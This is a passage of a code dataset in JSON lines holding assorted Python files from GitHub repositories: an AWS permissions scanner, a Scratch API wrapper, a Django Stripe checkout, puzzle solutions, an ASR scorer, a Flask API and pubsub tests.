policy_evaluations_result.result.policy_apply_result = policy_apply_result\n if policy_evaluations_result.result.target_resolver.is_empty():\n return policy_evaluations_result\n\n # for cross-account access, need to check that the identity in the trusted account has explicit allow to the resource in the trusting account\n if policy_evaluation.identity_principal.is_no_entity_principal():\n # identity is like AWS_SERVICE, no actual trusted account, just return the ret\n return policy_evaluations_result\n\n identity_principal_account_id: Optional[str] = identity_principal.get_account_id()\n if identity_principal_account_id == target_service_resource.get_resource_account_id():\n # not cross-account access but single account access\n return policy_evaluations_result\n\n # cross-account access checking\n policy_evaluations_result.result_cross_account = cls.run_target_policies_identity_based(\n logger=logger,\n aws_actions=aws_actions,\n aws_principals=aws_principals,\n account_resources=account_resources,\n identity_principal=identity_principal,\n target_identity_policies_ctx=principal_policies_ctx,\n service_resource_type=service_resource_type,\n service_resource=target_service_resource,\n principal_policies_ctx=principal_policies_ctx,\n during_cross_account_checking_flow=True,\n )\n\n # The final permissions for cross account, is the intersection between the two service resolvers (trusted & trusting accounts)\n service_resolvers: List[Optional[ServiceResourcesResolverBase]] = [\n policy_evaluations_result.result.target_resolver,\n policy_evaluations_result.result_cross_account.target_resolver,\n ]\n policy_evaluations_result.result.target_resolver = PolicyEvaluation._apply_intersection_on_service_resolvers(\n policy_evaluation.identity_principal, service_resolvers\n )\n return policy_evaluations_result\n","repo_name":"SatoriCyber/universal-data-permissions-scanner","sub_path":"universal_data_permissions_scanner/datastores/aws/aws_ptrp_package/aws_ptrp/policy_evaluation/policy_evaluation.py","file_name":"policy_evaluation.py","file_ext":"py","file_size_in_byte":18760,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"53"}
+{"seq_id":"18082818847","text":"#### DATA ####\n\n# Modules\nimport requests, re\n\n# Variables and Lists\nresponse = ''\nresponseJSON = ''\n\nuserLink = ''\n\n#### API ####\ndef users(user, data):\n userLink = 'https://api.scratch.mit.edu/users/' + str(user)\n userLink2 = 'https://scratchdb.lefty.one/v3/user/info/' + str(user)\n\n response = requests.get(userLink)\n response2 = requests.get(userLink2)\n\n if response.status_code == 200:\n responseJSON = response.json()\n responseJSON2 = response2.json()\n\n responsePROFILE = responseJSON['profile']\n responseHISTORY = responseJSON['history']\n\n if data == 'userID':\n userID = responsePROFILE['id']\n return userID\n elif data == 'joinDate':\n userJoined = responseHISTORY['joined']\n userJoinedYear = str(userJoined[0] + userJoined[1] + userJoined[2] + userJoined[3])\n userJoinedMonth = str(userJoined[5] + userJoined[6])\n userJoinedDay = str(userJoined[8] + userJoined[9])\n return userJoinedYear + '-' + userJoinedMonth + '-' + userJoinedDay\n elif data == 'country':\n userCountry = responsePROFILE['country']\n return userCountry\n elif data == 'bio':\n bio = responsePROFILE['bio']\n return bio\n elif data == 'status':\n status = responsePROFILE['status']\n return status\n elif data == 'followerCount':\n userFollowers = responseJSON2['statistics']['followers']\n return userFollowers\n elif data == 'followingCount':\n userFollowing = responseJSON2['statistics']['following']\n return userFollowing\n elif data == 'scratchTeam':\n responseST = responseJSON['scratchteam']\n return responseST\n else:\n print('Unknown data for \"' + str(data) + '\". Please read the instructions in \"README.md\"')\n quit()\n else:\n print(str(response.status_code) + ' Error, could not connect to \"' + str(userLink) + '\"')\n quit()\n\ndef projects(id, data):\n projectLink = 'https://api.scratch.mit.edu/projects/' + id\n projectLink2 = 'https://scratchdb.lefty.one/v2/project/info/id/' + str(id)\n\n response = requests.get(projectLink)\n response2 = requests.get(projectLink2)\n\n if response.status_code == 200:\n responseJSON = response.json()\n responseJSON2 = response2.json()\n\n projectAuthorInfo = responseJSON['author']\n projectStats = responseJSON['stats']\n\n if data == 'projectName':\n project = responseJSON['title']\n return project\n elif data == 'author':\n projectAuthor = projectAuthorInfo['username']\n return projectAuthor\n elif data == 'views':\n projectViews = projectStats['views']\n return projectViews\n elif data == 'loves':\n projectLoves = projectStats['loves']\n return projectLoves\n elif data == 'favorites':\n projectFavorites = projectStats['favorites']\n return projectFavorites\n elif data == 'remixes':\n projectRemixes = projectStats['remixes']\n return projectRemixes\n elif data == 'instructions':\n projectInstructions = responseJSON['instructions']\n return projectInstructions\n elif data == 'notesAndCredits':\n projectNAC = responseJSON['description']\n return projectNAC\n elif data == 'commentCount':\n projectCommentCount = responseJSON2['statistics']['comments']\n return projectCommentCount\n elif data == 'commentsAllowed':\n projectCommentsAllowed = responseJSON2['comments_allowed']\n if projectCommentsAllowed == 1:\n projectCommentsAllowed = True\n elif projectCommentsAllowed == 0:\n projectCommentsAllowed = False\n return projectCommentsAllowed\n else:\n print('Unknown data for \"' + str(data) + '\". Please read the instructions in \"README.md\"')\n quit()\n else:\n print(str(response.status_code) + ' Error, could not connect to \"' + str(projectLink) + '\"')\n quit()","repo_name":"vrabb-gh/scratch_api---Python-Module","sub_path":"scratch_api.py","file_name":"scratch_api.py","file_ext":"py","file_size_in_byte":5092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71099094889","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, redirect, reverse, get_object_or_404\nfrom django.contrib import messages\nfrom django.views.decorators.http import require_POST\n\nfrom products.models import Product\nfrom profiles.forms import UserProfileForm\nfrom profiles.models import UserProfile\nfrom .forms import OrderForm\nfrom bag.contexts import bag_content\nimport stripe\nfrom django.conf import settings\n\nfrom .models import Order, ProductOrder\nimport json\n\n\n@require_POST\ndef cache_checkout(request):\n try:\n pid = request.POST.get('client_secret').split('secret')[0]\n pid = pid[:-1]\n stripe.api_key = settings.STRIPE_SECRET_KEY\n save_info = request.POST.get('save_info')\n request.session['save_info'] = save_info\n stripe.PaymentIntent.modify(pid, metadata={\n 'bag': json.dumps(request.session.get('bag', {})),\n 'save_info': save_info,\n 'username': request.user,\n })\n return HttpResponse(status=200)\n except Exception as e:\n messages.error(request, 'Sorry we can not process your payment. Try later')\n return HttpResponse(content=e, status=400)\n\n\ndef checkout(request):\n stripe_public_key = settings.STRIPE_PUBLIC_KEY\n stripe_secret_key = settings.STRIPE_SECRET_KEY\n if request.method == 'POST':\n bag = request.session.get('bag', {})\n\n form_data = {\n 'full_name': request.POST.get('full_name'),\n 'email': request.POST.get('email'),\n 'phone_number': request.POST.get('phone_number'),\n 'country': request.POST.get('country'),\n 'city': request.POST.get('city'),\n 'address': request.POST.get('address'),\n 'postcode': request.POST.get('postcode'),\n }\n\n order_form = OrderForm(form_data)\n if order_form.is_valid():\n order = order_form.save(commit=False)\n pid = request.POST.get('client_secret').split('_secret')[0]\n # order.stripe_pid = pid[:-1]\n order.stripe_pid = pid\n order.original_bag = json.dumps(bag)\n order.save()\n for item_id, item_data in bag.items():\n try:\n product = Product.objects.get(id=item_id)\n if isinstance(item_data, int):\n order_line_item = ProductOrder(\n order=order,\n product=product,\n quantity=item_data,\n )\n order_line_item.save()\n except Product.DoesNotExist:\n messages.error(request, \"Sorry : Some product that you bought does not exist in our database\")\n order.delete()\n return redirect(reverse('view_bag'))\n\n # Get the save variable value\n # request.session['save_info'] = 'save-info' in request.POST\n request.session['save_info'] = request.POST.get('save_info')\n return redirect(reverse('checkout_success', args=[order.order_number]))\n\n else:\n messages.error(request, 'There was an error with your form. ' 'Please double check your information.')\n\n else:\n bag = request.session.get('bag', {})\n if not bag:\n messages.error(request, \"There is nothing in the bag at the moment\")\n return redirect(reverse('products'))\n\n current_bag = bag_content(request)\n total = current_bag['sum_total']\n stripe_total = round(total * 100)\n stripe.api_key = stripe_secret_key\n intent = stripe.PaymentIntent.create(\n amount=stripe_total,\n currency=settings.STRIPE_CURRENCY,\n )\n\n if request.user.is_authenticated:\n # profile = get_object_or_404(UserProfile, user=request.user)\n try:\n profile = UserProfile.objects.get(user=request.user)\n order_form = OrderForm(initial={\n 'full_name': profile.full_name_profile,\n 'email': profile.email_profile,\n 'phone_number': profile.phone_number_profile,\n 'country': profile.country_profile,\n 'postcode': profile.postcode_profile,\n 'address': profile.address_profile,\n 'city': profile.city_profile,\n })\n except UserProfile.DoesNotExist:\n order_form = OrderForm()\n else:\n order_form = OrderForm()\n\n template = 'checkout/checkout.html'\n context = {\n 'order_form': order_form,\n 'saved': request.session.get('save_info'),\n 'stripe_public_key': stripe_public_key,\n 'client_secret': intent.client_secret,\n }\n\n return render(request, template, context)\n\n\n# Fill UserProfile info\ndef checkout_success(request, order_number):\n \"\"\"A view to show the successful user payment\"\"\"\n save_info = request.session.get('save_info')\n order = get_object_or_404(Order, order_number=order_number)\n if request.user.is_authenticated:\n profile = UserProfile.objects.get(user=request.user)\n order.user_profile = profile\n order.save()\n # Save the info in the profile if it was checked in the checkout page\n if save_info:\n profile_data = {\n 'full_name_profile': order.full_name,\n 'email_profile': order.email,\n 'phone_number_profile': order.phone_number,\n 'country_profile': order.country,\n 'city_profile': order.city,\n 'address_profile': order.address,\n 'postcode_profile': order.postcode,\n }\n user_profile_form = UserProfileForm(profile_data, instance=profile)\n if user_profile_form.is_valid():\n user_profile_form.save()\n\n messages.success(request, f'Successful order: Your order {order_number} will be processed. A confirmation email '\n f'will be sent to {order.email}')\n\n if 'bag' in request.session:\n del request.session['bag']\n\n template = 'checkout/checkout_success.html'\n\n context = {\n 'order': order,\n }\n return render(request, template, context)\n","repo_name":"ArloysMacias/fitness4you","sub_path":"checkout/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74502835047","text":"from typing import List\nclass Solution:\n def lengthOfLIS(self, nums: List[int]) -> int:\n # dp[i] = length of max subsequence that ends at position i (must include position i)\n # this restriction allows us to form links/edges btwn two numbers (a, b) only if a < b\n # otherwise, if at position i, we just keep track of max length up to i (but may not include it), and return dp[len(nums) - 1]\n # HOWEVER it becomes more complicated how to transition from one dp state i_t to another i_t+1\n # with dp[i], the longest chain is probably not ending at position i, since nums[i] could be a very small number\n # hence, we need to keep track of max_len observed so far for dp[i] from i = 0 to i = len(nums) - 1\n # this is O(N^2) due to double loop\n dp = [1 for _ in range(len(nums))]\n res = 0\n for i in range(len(nums)):\n for j in range(i):\n if nums[j] < nums[i]:\n dp[i] = max(dp[i], dp[j]+1)\n res = max(res, dp[i])\n return res","repo_name":"linminhtoo/algorithms","sub_path":"DP/medium/lengthOfLIS.py","file_name":"lengthOfLIS.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15648158985","text":"from collections import defaultdict\n\n\ndef sum_memory_old_chip(lines):\n mem = defaultdict(int)\n for line in lines:\n if 'mask' in line:\n and_mask = int(''.join(\n ['0' if ch == '0' else '1' for ch in line[7:]]\n ), 2)\n or_mask = int(''.join(\n ['1' if ch == '1' else '0' for ch in line[7:]]\n ), 2)\n else:\n split_line = line.split('] = ')\n location = int(split_line[0][4:])\n value = (int(split_line[1]) & and_mask) | or_mask\n mem[location] = value\n return sum(mem.values())\n\n\ndef sum_memory_new_chip(lines):\n mem = defaultdict(int)\n for line in lines:\n if 'mask' in line:\n x_mask = line[7:]\n bitlength = len([x for x in x_mask if x == 'X'])\n variations = [\"{0:0{len}b}\".format(i, len=bitlength)\n for i in range(2**bitlength)]\n else:\n split_line = line.split('] = ')\n location_bitstring = '{0:0{len}b}'.format(\n int(split_line[0][4:]),\n len=len(x_mask)\n )\n value = int(split_line[1])\n\n for variation in variations:\n location_variation = list(location_bitstring)\n counter = 0\n for i in range(len(x_mask)):\n if x_mask[i] == 'X':\n location_variation[i] = variation[counter]\n counter += 1\n elif x_mask[i] == '1':\n location_variation[i] = '1'\n mem[''.join(location_variation)] = value\n return sum(mem.values())\n\n\nwith open('day14/input.data') as input:\n lines = [line for line in input.read().split('\\n')]\n\nprint(f'first solution: {sum_memory_old_chip(lines)}')\nprint(f'second solution: {sum_memory_new_chip(lines)}')\n","repo_name":"DanielElisenberg/aoc2020","sub_path":"day14/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36193453738","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nBACK = [1, 1, 1, 1]\nFRONT = [0, 0, 0, 0.001]\n\ndef main():\n from fn import Fn\n from modules.differentialLattice import DifferentialLattice\n from modules.helpers import get_colors\n from modules.helpers import spawn_circle\n from numpy import array\n from numpy import cumsum\n from numpy import sqrt\n from numpy import linspace\n from numpy import sort\n from numpy import ones\n from numpy.random import random\n from numpy.random import seed\n from sand import Sand\n from numpy import pi\n from numpy import sin\n from numpy import cos\n TWOPI = pi*2.0\n\n\n fn = Fn(prefix='./res/')\n\n size = 512\n one = 1.0/size\n\n threads = 512\n zone_leap = 512\n grains = 20\n\n\n init_num = 20\n\n stp = one*0.03\n spring_stp = 5\n reject_stp = 0.1\n cohesion_stp = 1.0\n\n max_capacity = 30\n\n\n node_rad = 4*one\n spring_reject_rad = node_rad*1.9\n spring_attract_rad = node_rad*2.0\n outer_influence_rad = 10.0*node_rad\n link_ignore_rad = 0.5*outer_influence_rad\n\n colors = get_colors('../colors/black_t.gif')\n # colors = get_colors('../colors/ir.jpg')\n nc = len(colors)\n\n sand = Sand(size)\n sand.set_bg(BACK)\n sand.set_rgba(FRONT)\n\n DL = DifferentialLattice(\n size,\n stp,\n spring_stp,\n reject_stp,\n cohesion_stp,\n max_capacity,\n node_rad,\n spring_reject_rad,\n spring_attract_rad,\n outer_influence_rad,\n link_ignore_rad,\n threads=threads,\n zone_leap=zone_leap,\n nmax=50000000\n )\n\n spawn_circle(DL, init_num, xy=array([[0.5, 0.5]]), dst=node_rad*0.8, rad=0.01)\n\n itt = 0\n while True:\n\n itt += 1\n DL.step()\n DL.spawn(ratio=0.1, age=1000)\n\n if not itt%20:\n print(('itt', DL.itt, 'num', DL.num))\n\n vertices, edges = DL.link_export()\n\n # sand.set_rgba(FRONT)\n # sand.paint_strokes(\n # vertices[edges[:,0],:].astype('double'),\n # vertices[edges[:,1],:].astype('double'),\n # grains\n # )\n\n # sand.paint_circles(\n # vertices.astype('double'),\n # random(len(vertices))*one*4.0,\n # grains\n # )\n\n # for k,(a,b) in enumerate(edges):\n # w = a*nc+b\n # rgba = colors[w%nc]+[0.001]\n # sand.set_rgba(rgba)\n # sand.paint_strokes(\n # vertices[a:a+1,:].astype('double'),\n # vertices[b:b+1,:].astype('double'),\n # grains\n # )\n\n\n n = 20\n for k, (x, y) in enumerate(vertices):\n rgba = colors[k%nc]+[0.0005]\n sand.set_rgba(rgba)\n o = ones((n, 2), 'float')\n o[:,0] *= x\n o[:,1] *= y\n r = (1.0-2.0*random(n))*4*one\n sand.paint_filled_circles(\n o,\n r,\n grains\n )\n\n if not itt%5:\n\n # vertices, edges = DL.link_export()\n # n = 1000\n # sand.set_bg(BACK)\n # seed(1)\n # for k, (x, y) in enumerate(vertices):\n # rgba = colors[k%nc]+[0.005]\n # sand.set_rgba(rgba)\n # o = ones((n, 2), 'float')\n # o[:,0] *= x\n # o[:,1] *= y\n # r = random()*one*3+cumsum(random(n)*random()*10)*one*0.002\n # # r = sqrt(linspace(2.0, 10.0, n))*one\n # # r = ones(n, 'float')*one*\n # sand.paint_circles(\n # o,\n # r,\n # grains\n # )\n\n name = fn.name() + '.png'\n print(name)\n sand.write_to_png(name, 2)\n\n\nif __name__ == '__main__':\n\n main()\n\n","repo_name":"inconvergent/differential-lattice","sub_path":"main_sand.py","file_name":"main_sand.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"53"}
+{"seq_id":"3799359967","text":"import re\nfrom enum import Enum\nfrom decimal import Decimal, ROUND_DOWN, ROUND_UP\nfrom datetime import date\nfrom datetime import date\nimport calendar\n\n# product: calculate_price_customer is inside in a class.It is inside an object\n#they are depending also on how the class object is depicted\n#\n\nclass Rating(Enum):\n FIRST_TIME = \"First time\"\n REGULAR = \"Regular\"\n SUPER_DUPER = \"Super-duper\"\n\n def __str__(self):\n return self.name\n\n\nclass Customer:\n def __init__(self, name: str, rating: Rating):\n if not isinstance(name, str):\n raise ValueError(f\"Customer name must be a string.\")\n if len(name) == 0:\n raise ValueError(f\"Customer name must be non-empty.\")\n if not isinstance(rating, Rating):\n raise ValueError(f\"Customer rating must be of type Rating, but is of type {type(rating)}.\")\n\n self.name = name\n self.rating = rating\n\n def __str__(self):\n return f\"{self.name} ({self.rating})\"\n\n def create_customer_list(*customers):\n return list(customers)\n\n def print_customers(customers):\n for customer in customers:\n print(f\"Name: {customer.name}, Rating: {customer.rating}\")\n\n\nclass Product:\n _EAN_PATTERN = re.compile(r\"^\\d{13}$\")\n\n def __init__(self, ean: str, name: str, description: str, base_price: Decimal, base_discount=Decimal(0)):\n if not Product._EAN_PATTERN.match(ean):\n raise ValueError(f\"Given ean {ean} is not valid. An ean has exactly 13 digits.\")\n if not isinstance(name, str):\n raise ValueError(f\"Product name must be a string.\")\n if len(name) == 0:\n raise ValueError(f\"Product name must be non-empty.\")\n if not (isinstance(description, str) or description is None):\n raise ValueError(f\"Product description must be a string or None, but is '{description}'\")\n if not isinstance(base_price, Decimal):\n raise ValueError(f\"Product base price must be of type Decimal.\")\n if not base_price >= 0:\n raise ValueError(f\"Product base price must be greater or equal to zero.\")\n if not isinstance(base_discount, Decimal):\n raise ValueError(f\"Product discount must be of type Decimal.\")\n if base_discount < 0 or base_discount > 1:\n raise ValueError(f\"Product discount must be between 0 and 1.\")\n\n self.ean = ean\n self.name = name\n self.description = description\n self.base_price = base_price\n self.base_discount = base_discount\n\n\n\n def calculate_price_for_customer(self, customer: Customer, date_of_purchase: date) -> Decimal:\n # Define the discounts\n discount_mapping = {\n Rating.FIRST_TIME: Decimal('0.05'),\n Rating.REGULAR: Decimal('0.10'),\n Rating.SUPER_DUPER: Decimal('0.15'),\n }\n\n # Always apply base discount\n if self.base_discount>0:\n price_after_base_discount = self.base_price * (1 - self.base_discount)\n else:\n price_after_base_discount = self.base_price\n\n # Check if the date is in the special summer sale period\n if date_of_purchase.year == 2024 and date_of_purchase.month in [7, 8]:\n # Get the customer discount\n discount = discount_mapping[customer.rating]\n\n # Check if the date is Friday or Saturday, if so double the discount\n if date_of_purchase.weekday() in [4, 5]: # 4 and 5 corresponds to Friday and Saturday\n discount *= 2 # double the discount\n\n # Apply the customer discount on top of the already discounted price\n price_after_additional_discount = price_after_base_discount * (1 - discount)\n else:\n # If outside the sale period, only base discount applies\n price_after_additional_discount = price_after_base_discount\n\n # Round the price to 3 decimal places\n rounded_price = price_after_additional_discount.quantize(Decimal('0.000'), rounding=ROUND_UP)\n\n return rounded_price\n\n\n\n\n\n\n\n","repo_name":"Szilvi489/SummerFun_Abgabe_SzilviaVarga","sub_path":"SummerFun/SummerFun/summer_fun.py","file_name":"summer_fun.py","file_ext":"py","file_size_in_byte":4060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20955997087","text":"from src import router\nfrom src.li.Li import Li\nfrom src.videosource.VideoSource import SourceType\n\n\nclass VideoSortLi(Li):\n def __init__(self, url, title, icon=None, thumb=None, contextMenus=None):\n \n \n \n isFolder = False\n isPlayable = False\n \n generalInfoLabels = None\n videoInfoLabels = None\n \n \n super(VideoSortLi, self).__init__(title, icon, thumb, url, isFolder, isPlayable,\n videoInfoLabels, generalInfoLabels, contextMenus)\n \n \ndef collectionVideoSortLi(collection):\n url = router.sortVideolistUrl()\n title, icon, thumb = collection.feedSettings.TS.sortVisuals()\n \n \n if collection.default:\n contextMenus = (\n collection.settingsContextMenu(globalC=True),\n )\n \n else:\n contextMenus = (\n collection.settingsContextMenu(),\n collection.settingsContextMenu(globalC=True)\n )\n \n return VideoSortLi(url, title, icon, thumb, contextMenus)\n\n\ndef youtubeVideoSortLi(title):\n url = router.sortVideolistUrl(SourceType.CHANNEL)\n return VideoSortLi(url, title)\n\ndef kodiVideoSortLi(title):\n url = router.sortVideolistUrl(SourceType.FOLDER)\n return VideoSortLi(url, title)","repo_name":"SportySpice/Collections","sub_path":"src/li/types/VideoSortLi.py","file_name":"VideoSortLi.py","file_ext":"py","file_size_in_byte":1302,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"53"}
+{"seq_id":"38729819762","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n Score every utterance of every data item in a given folder\n\"\"\"\n\n\nimport sys\nimport argparse\nimport os\n\nfrom ostilhou.utils import list_files_with_extension\nfrom ostilhou.text import pre_process, filter_out, normalize_sentence, PUNCTUATION\nfrom ostilhou.asr import load_segments_data, load_text_data\nfrom ostilhou.asr.recognizer import transcribe_segment\nfrom ostilhou.audio import load_audiofile, get_segment\nfrom jiwer import wer, cer\n\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Score every utterance of every data item in a given folder\")\n parser.add_argument(\"data_folder\", metavar='FOLDER', help=\"Folder containing data files\")\n parser.add_argument(\"-u\", \"--per-utterance\", help=\"Calculate WER and CER score per utterance\", action=\"store_true\")\n # parser.add_argument(\"-he\", \"--higher\", help=\"Keeps only over a given CER\", default=1.0)\n args = parser.parse_args()\n\n all_references = []\n all_hypothesis = []\n\n # print(args.data_folder)\n split_files = list_files_with_extension('.split', args.data_folder)\n for split_file in sorted(split_files):\n basename, _ = os.path.splitext(split_file)\n wav_file = basename + os.path.extsep + \"wav\"\n text_file = basename + os.path.extsep + \"txt\"\n segments, _ = load_segments_data(split_file)\n utterances = load_text_data(text_file)\n song = load_audiofile(wav_file)\n _, basename = os.path.split(basename)\n references = []\n hypothesis = []\n # print(\"# ==== \" + basename + \" ====\")\n for i in range(len(segments)):\n # sentence, _ = get_cleaned_sentence(utterances[i][0])\n sentence = filter_out(utterances[i][0], PUNCTUATION + '*')\n sentence = normalize_sentence(sentence, autocorrect=True)\n sentence = pre_process(sentence).replace('-', ' ').lower()\n transcription = transcribe_segment(get_segment(i, song, segments))\n transcription = transcription.replace('-', ' ').lower()\n references.append(sentence)\n hypothesis.append(transcription)\n if not args.per_utterance:\n continue\n score_wer = wer(sentence, transcription)\n score_cer = cer(sentence, transcription)\n if not transcription:\n transcription = '-'\n #if score_cer >= 0.2 or score_wer > 0.4:\n # if score_cer >= 1.0:\n print(f\"{basename}.{i:03}\\t{round(score_wer, 2)}\\t{round(score_cer, 2)}\\t{sentence}\\t{transcription}\")\n all_references.extend(references)\n all_hypothesis.extend(hypothesis)\n\n print(\"====== OVERALL ======\", file=sys.stderr)\n print(len(all_references), \"utterances\", file=sys.stderr)\n print(\"WER:\", wer(all_references, all_hypothesis), file=sys.stderr)\n print(\"CER:\", cer(all_references, all_hypothesis), file=sys.stderr)\n","repo_name":"gweltou/ostilhou","sub_path":"score_utterances.py","file_name":"score_utterances.py","file_ext":"py","file_size_in_byte":2944,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"8755391798","text":"\"\"\"\n UNIVERSIDAD SERGIO ARBOLEDA\n\n Nombre: Emmanuel Mora Mosquera\n\n Correo: emmanuel.mora01@correo.usa.edu.co\n\n Docente: Jonh Jairo Corredor\n\n Fecha: 14 de mayo del 2021\n\n Ciudad: Bogotá D.C.\n\n SIMULADOR DE ORBITAS PLANETARIAS\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\nimport simulator\nimport Cy_simulator\nimport time\nimport sys\n\n\ndef call_simulator(simulator):\n AU = (149.6e6 * 1000)\n sun = simulator.Body()\n sun.name = 'Sun'\n sun.mass = 1.98892 * 10**30\n\n earth = simulator.Body()\n earth.name = 'Earth'\n earth.mass = 5.9742 * 10**24\n earth.px = -1 * AU\n earth.vy = 29.783 * 1000\n\n venus = simulator.Body()\n venus.name = 'Venus'\n venus.mass = 4.8685 * 10**24\n venus.px = 0.723 * AU\n venus.vy = -35.02 * 1000\n\n simulator.loop([sun, earth, venus])\n\n\ndef main():\n start = time.time()\n call_simulator(simulator)\n tiempoPy = time.time() - start\n\n start = time.time()\n call_simulator(Cy_simulator)\n tiempoCy = time.time() - start\n\n speedUp = round(tiempoPy/tiempoCy, 3)\n print(f\"Python: {tiempoPy} \\n\")\n print(f\"Cython: {tiempoCy} \\n\")\n print(f\"SpeedUp: {speedUp} \\n\")\n return tiempoPy, tiempoCy\n\t\n\t\t\n\n\nif __name__ == '__main__':\n tiempoPy, tiempoCy = main()\n tiempos = [tiempoPy,tiempoCy]\n etiquetas = ['Python','Cython']\n fig, ax = plt.subplots() \n ax.set_ylabel(\"Tiempo\")\n plt.bar(etiquetas, tiempos, width=0.3, color=[\"blue\", \"purple\"], align='center')\n plt.savefig('graficaTiempos.png')\n plt.grid()\n plt.show()\n","repo_name":"Hobbit3415/SimuladorOrbitasPlanetarias","sub_path":"Orbitas Planetarias/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41275786297","text":"import json\nimport boto3\n\n\ndef lambda_handler(event, context):\n dynamodb = boto3.resource('dynamodb')\n tableDistance = dynamodb.Table('Distance')\n # if event['invocationSource'] == 'FulfillmentCodeHook':\n source = event['currentIntent']['slots']['source']\n destination = event['currentIntent']['slots']['destination']\n\n result = tableDistance.get_item(Key={'source': source, 'destination': destination})\n distance = result['Item']['distance']\n\n return {\n 'sessionAttributes': event['sessionAttributes'],\n 'dialogAction': {\n 'type': 'Close',\n 'fulfillmentState': 'Fulfilled',\n 'message': {\n 'contentType': 'PlainText',\n 'content': str(distance)\n }\n }\n }\n# this is can return the log to lex bot to check otherwise use cloudwatch\n# return {\n# \"dialogAction\": {\n# \"type\": \"Close\",\n# \"fulfillmentState\": \"Fulfilled\",\n# \"message\": {\n# \"contentType\": \"SSML\",\n# \"content\": str(event)\n# },\n# }\n# }\n","repo_name":"qqin99/Cloud_Computing","sub_path":"MP3-AWS Lex and Lambda/MP3-getDistanceLambda.py","file_name":"MP3-getDistanceLambda.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72104818089","text":"from . import app,mysql\nfrom flask import render_template, request, jsonify\nimport os\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\n\n\n#get info\n@app.route('/info', methods=['GET'])\ndef get_info():\n con = mysql.connection.cursor()\n con.execute(\"SELECT * FROM sejarah_desa\")\n sejarah = con.fetchall()\n print(sejarah)\n info_list = []\n for sistem in sejarah:\n print(sistem)\n list_data = {\n 'id': str(sistem[0]),\n 'sejarah': str(sistem[1]),\n 'visi': str(sistem[2]),\n 'misi': str(sistem[3])\n }\n info_list.append(list_data)\n return jsonify(info_list)\n\n#tambah info\n\n@app.route('/tambah_info', methods=['POST'], endpoint='tambah_info_endpoint')\n# @jwt_required\ndef tambah_info():\n con = mysql.connection.cursor()\n sejarah = request.form['sejarah']\n visi = request.form['visi']\n misi = request.form['misi']\n con.execute(\"INSERT INTO sejarah (sejarah , visi, misi) VALUES (%s,%s,%s)\",(sejarah , visi, misi))\n mysql.connection.commit()\n return jsonify(\"msg : SUKSES\")\n\n\n#edit info data\n@app.route('/edit_info', methods=['POST'], endpoint='edit_info_endpoint')\n# @jwt_required\ndef edit_info():\n current_user_id = get_jwt_identity()\n con = mysql.connection.cursor()\n id = request.form['id']\n sejarah = request.form['sejarah']\n visi = request.form['visi']\n \n misi = request.form['misi']\n con.execute(\"UPDATE sejarah_desa SET sejarah = %s, visi = %s, misi = %s WHERE id = %s\",(sejarah,visi,misi,id))\n mysql.connection.commit()\n return jsonify(\"msg : SUKSES\")\n\n#get fasilitas\n@app.route('/fasilitas', methods=['GET'])\ndef get_fasilitas():\n con = mysql.connection.cursor()\n con.execute(\"SELECT * FROM fasilitas\")\n sejarah = con.fetchall()\n info_list = []\n for sistem in sejarah:\n list_data = {\n 'id': str(sistem[0]),\n 'fasilitas': str(sistem[1]),\n 'kondisi': str(sistem[2])\n }\n info_list.append(list_data)\n return jsonify(info_list)\n\n\n","repo_name":"rizky-phb/sistemdesa","sub_path":"app/infodesa.py","file_name":"infodesa.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40933462388","text":"import json\nfrom unittest.mock import MagicMock, DEFAULT\n\nimport pytest\nfrom google.api_core.exceptions import DeadlineExceeded\n\nfrom pubsub_pipeline import PubSubPipeline, BulkPubSubPipeline\n\n\ndef _mock_future(on_add_done_callback=None):\n mock_future_ = MagicMock()\n # python mock magic: when side_effect is a callable,\n # it will be called with the same arguments as the\n # mock function\n if on_add_done_callback is not None:\n mock_future_.add_done_callback.side_effect = on_add_done_callback\n return mock_future_\n\n\ndef _mock_publisher(on_publish=None):\n publisher = MagicMock()\n publisher.topic_path.return_value = 'some/topic/path'\n if on_publish is not None:\n publisher.publish.side_effect = on_publish\n return publisher\n\n\ndef _message_data():\n return {\n \"data\": \"This is some json data that is to processed\",\n \"nested\": {\n \"nestedData\": \"This is just some more data\"\n }\n }\n\n\ndef processor(_):\n return _\n\n\ndef _mock_message():\n mock_message = MagicMock()\n mock_message.message.data = json.dumps(_message_data()).encode()\n mock_message.ack_id = 'some_ack_id'\n return mock_message\n\n\ndef _mock_subscriber(received_messages=(_mock_message(),)):\n subscriber = MagicMock()\n subscriber.subscription_path.return_value = 'some/subscription/path'\n subscriber.pull.return_value.received_messages = list(received_messages)\n return subscriber\n\n\n@pytest.mark.parametrize('pipeline', [PubSubPipeline, BulkPubSubPipeline])\ndef 